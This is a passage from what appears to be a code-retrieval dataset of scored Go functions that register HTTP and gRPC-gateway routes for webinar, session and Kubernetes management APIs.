wrapper.UserShow)\n\trouter.GET(\"/api/v1/webinar\", wrapper.WebinarIndex)\n\trouter.POST(\"/api/v1/webinar\", wrapper.WebinarStore)\n\trouter.DELETE(\"/api/v1/webinar/:id\", wrapper.WebinarDestroy)\n\trouter.GET(\"/api/v1/webinar/:id\", wrapper.WebinarShow)\n\trouter.GET(\"/api/v1/webinar/:webinarID/mosaic/\", wrapper.WebinarMosaicIndex)\n\trouter.POST(\"/api/v1/webinar/:webinarID/mosaic/\", wrapper.WebinarMosaicStore)\n\trouter.DELETE(\"/api/v1/webinar/:webinarID/mosaic/:mosaicID\", wrapper.WebinarMosaicDestroy)\n\trouter.GET(\"/api/v1/webinar/:webinarID/mosaic/:mosaicID\", wrapper.WebinarMosaicShow)\n\trouter.PATCH(\"/api/v1/webinar/:webinarID/mosaic/:mosaicID\", wrapper.WebinarMosaicUpdate)\n\trouter.GET(\"/api/v1/webinar/:webinarID/mosaic/:mosaicID/slot\", wrapper.WebinarMosaicSlotIndex)\n\trouter.PATCH(\"/api/v1/webinar/:webinarID/mosaic/:mosaicID/slot/:slotID\", wrapper.WebinarMosaicSlotUpdate)\n\trouter.GET(\"/api/v1/webinar/:webinarID/mosaic/:mosaicID/user\", wrapper.WebinarMosaicUserIndex)\n\trouter.POST(\"/api/v1/webinar/:webinarID/mosaic/:mosaicID/user\", wrapper.WebinarMosaicUserStore)\n\trouter.DELETE(\"/api/v1/webinar/:webinarID/mosaic/:mosaicID/user/:userID\", wrapper.WebinarMosaicUserShow)\n\trouter.GET(\"/api/v1/webinar/:webinarID/stream\", wrapper.WebinarStreamIndex)\n\trouter.POST(\"/api/v1/webinar/:webinarID/stream\", wrapper.WebinarStreamStore)\n\trouter.DELETE(\"/api/v1/webinar/:webinarID/stream/:streamID\", wrapper.WebinarStreamDestroy)\n\trouter.PATCH(\"/api/v1/webinar/:webinarID/stream/:streamID\", wrapper.WebinarStreamUpdate)\n\trouter.GET(\"/api/v1/webinar/:webinarID/user\", wrapper.WebinarUserIndex)\n\trouter.POST(\"/api/v1/webinar/:webinarID/user\", wrapper.WebinarUserStore)\n\trouter.DELETE(\"/api/v1/webinar/:webinarID/user/:userID\", wrapper.WebinarUserDestroy)\n\trouter.GET(\"/api/v1/webinar/:webinarID/user/:userID\", wrapper.WebinarUserShow)\n\trouter.PATCH(\"/api/v1/webinar/:webinarID/user/:userID\", wrapper.WebinarUserUpdate)\n\trouter.POST(\"/api/v1/webinar/:webinarID/user/:userID/mosaic\", wrapper.WebinarUserMosaicStore)\n\n}", "title": "" }, { "docid": "83d07c7602b79b507c5925a748063638", "score": "0.5932605", "text": "func (s *authenticationServer) RegisterService(g *grpc.Server) {\n\tserverpb.RegisterLogInServer(g, s)\n\tserverpb.RegisterLogOutServer(g, s)\n}", "title": "" }, { "docid": "fca8e614bb1f9f8c49cd0a8b190b6315", "score": "0.59246343", "text": "func RegisterServiceHandler(ctx context.Context, mux *runtime.ServeMux, conn *grpc.ClientConn) error {\n\treturn RegisterServiceHandlerClient(ctx, mux, NewServiceClient(conn))\n}", "title": "" }, { "docid": "90a3ce3a1bcf11369994dc717f1229ee", "score": "0.5916528", "text": "func (c *Handler) RegisterWithRestServer(ctx context.Context,\n\tmux *runtime.ServeMux, dest string, opts []grpc.DialOption) er.R {\n\n\t// We make sure that we register it with the main REST server to ensure\n\t// all our methods are routed properly.\n\terr := RegisterWatchtowerHandlerFromEndpoint(ctx, mux, dest, opts)\n\tif err != nil {\n\t\tlog.Errorf(\"Could not register Watchtower REST server \"+\n\t\t\t\"with root REST server: %v\", err)\n\t\treturn err\n\t}\n\n\tlog.Debugf(\"Watchtower REST server successfully registered with \" +\n\t\t\"root REST server\")\n\treturn nil\n}", "title": "" }, { "docid": "83d30a2ac5fc0ceb5c5eeb181518494c", "score": "0.5910017", "text": "func RegisterHandlers(router interface {\n\tCONNECT(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tDELETE(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tGET(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tHEAD(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tOPTIONS(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tPATCH(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tPOST(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tPUT(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tTRACE(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n}, si ServerInterface) {\n\n\twrapper := ServerInterfaceWrapper{\n\t\tHandler: si,\n\t}\n\n\trouter.GET(\"/v1/assets\", wrapper.GetAssetInfo)\n\trouter.GET(\"/v1/doc\", wrapper.GetDocs)\n\trouter.GET(\"/v1/health\", wrapper.GetHealth)\n\trouter.GET(\"/v1/network\", wrapper.GetNetworkData)\n\trouter.GET(\"/v1/nodes\", wrapper.GetNodes)\n\trouter.GET(\"/v1/pools\", wrapper.GetPools)\n\trouter.GET(\"/v1/pools/detail\", wrapper.GetPoolsData)\n\trouter.GET(\"/v1/stakers\", wrapper.GetStakersData)\n\trouter.GET(\"/v1/stakers/:address\", wrapper.GetStakersAddressData)\n\trouter.GET(\"/v1/stakers/:address/pools\", wrapper.GetStakersAddressAndAssetData)\n\trouter.GET(\"/v1/stats\", wrapper.GetStats)\n\trouter.GET(\"/v1/swagger.json\", wrapper.GetSwagger)\n\trouter.GET(\"/v1/thorchain/constants\", wrapper.GetThorchainProxiedConstants)\n\trouter.GET(\"/v1/thorchain/lastblock\", wrapper.GetThorchainProxiedLastblock)\n\trouter.GET(\"/v1/thorchain/pool_addresses\", wrapper.GetThorchainProxiedEndpoints)\n\trouter.GET(\"/v1/txs\", wrapper.GetTxDetails)\n\n}", "title": "" }, { "docid": "afa59cbd5869f18ef6e8397bd58fcf1b", "score": "0.59070826", "text": "func RegisterSessionHandlerServer(ctx context.Context, mux *runtime.ServeMux, server SessionServer) error {\n\n\tmux.Handle(\"GET\", pattern_Session_SessionGet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/sessionservice.Session/SessionGet\", runtime.WithHTTPPathPattern(\"/v1/sessiong\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Session_SessionGet_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Session_SessionGet_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Session_SessionGetIP_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/sessionservice.Session/SessionGetIP\", runtime.WithHTTPPathPattern(\"/v1/ip\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Session_SessionGetIP_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Session_SessionGetIP_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Session_SessionStatus_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/sessionservice.Session/SessionStatus\", runtime.WithHTTPPathPattern(\"/v1/status\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Session_SessionStatus_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Session_SessionStatus_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_Session_SessionPost_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/sessionservice.Session/SessionPost\", runtime.WithHTTPPathPattern(\"/v1/sessionp\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Session_SessionPost_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Session_SessionPost_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "f079a769e2afafbe972d6ada6fe1d902", "score": "0.5904525", "text": "func (gs *GatewayServer) RegisterHandlers(s *runtime.ServeMux, conn *grpc.ClientConn) {\n\tttnpb.RegisterGsHandler(gs.Context(), s, conn)\n\tttnpb.RegisterGtwGsHandler(gs.Context(), s, conn)\n}", "title": "" }, { "docid": "3984faeaa68d3f5a25a658245f754053", "score": "0.58907694", "text": "func (s *Server) RegisterService(sd *ServiceDesc, ss interface{}) {\n\tht := reflect.TypeOf(sd.HandlerType).Elem()\n\tst := reflect.TypeOf(ss)\n\tif !st.Implements(ht) {\n\t\tlog.Fatalf(\"rpc: Server.RegisterService found the handler of type %v that does not satisfy %v\", st, ht)\n\t}\n\ts.register(sd, ss)\n}", "title": "" }, { "docid": "725101b8ad7521c99beee255b1935068", "score": "0.58907515", "text": "func RegisterK8SAPIHandlerServer(ctx context.Context, mux *runtime.ServeMux, server K8SAPIServer) error {\n\n\tmux.Handle(\"POST\", pattern_K8SAPI_DescribePod_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clutch.k8s.v1.K8SAPI/DescribePod\", runtime.WithHTTPPathPattern(\"/v1/k8s/describePod\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_K8SAPI_DescribePod_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_K8SAPI_DescribePod_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_K8SAPI_ListPods_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clutch.k8s.v1.K8SAPI/ListPods\", runtime.WithHTTPPathPattern(\"/v1/k8s/listPods\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_K8SAPI_ListPods_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_K8SAPI_ListPods_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_K8SAPI_DeletePod_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clutch.k8s.v1.K8SAPI/DeletePod\", runtime.WithHTTPPathPattern(\"/v1/k8s/deletePod\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_K8SAPI_DeletePod_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_K8SAPI_DeletePod_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_K8SAPI_UpdatePod_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clutch.k8s.v1.K8SAPI/UpdatePod\", runtime.WithHTTPPathPattern(\"/v1/k8s/updatePod\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_K8SAPI_UpdatePod_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_K8SAPI_UpdatePod_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_K8SAPI_GetPodLogs_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clutch.k8s.v1.K8SAPI/GetPodLogs\", runtime.WithHTTPPathPattern(\"/v1/k8s/getPodLogs\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_K8SAPI_GetPodLogs_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_K8SAPI_GetPodLogs_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_K8SAPI_ResizeHPA_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clutch.k8s.v1.K8SAPI/ResizeHPA\", runtime.WithHTTPPathPattern(\"/v1/k8s/resizeHPA\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_K8SAPI_ResizeHPA_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_K8SAPI_ResizeHPA_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_K8SAPI_DeleteHPA_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clutch.k8s.v1.K8SAPI/DeleteHPA\", runtime.WithHTTPPathPattern(\"/v1/k8s/deleteHPA\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_K8SAPI_DeleteHPA_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_K8SAPI_DeleteHPA_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_K8SAPI_DescribeDeployment_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clutch.k8s.v1.K8SAPI/DescribeDeployment\", runtime.WithHTTPPathPattern(\"/v1/k8s/describeDeployment\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_K8SAPI_DescribeDeployment_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_K8SAPI_DescribeDeployment_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_K8SAPI_ListDeployments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clutch.k8s.v1.K8SAPI/ListDeployments\", runtime.WithHTTPPathPattern(\"/v1/k8s/listDeployments\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_K8SAPI_ListDeployments_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_K8SAPI_ListDeployments_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_K8SAPI_UpdateDeployment_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clutch.k8s.v1.K8SAPI/UpdateDeployment\", runtime.WithHTTPPathPattern(\"/v1/k8s/updateDeployment\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_K8SAPI_UpdateDeployment_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_K8SAPI_UpdateDeployment_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_K8SAPI_DeleteDeployment_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clutch.k8s.v1.K8SAPI/DeleteDeployment\", runtime.WithHTTPPathPattern(\"/v1/k8s/deleteDeployment\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_K8SAPI_DeleteDeployment_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_K8SAPI_DeleteDeployment_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_K8SAPI_DescribeService_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clutch.k8s.v1.K8SAPI/DescribeService\", runtime.WithHTTPPathPattern(\"/v1/k8s/describeService\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_K8SAPI_DescribeService_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_K8SAPI_DescribeService_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_K8SAPI_ListServices_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream 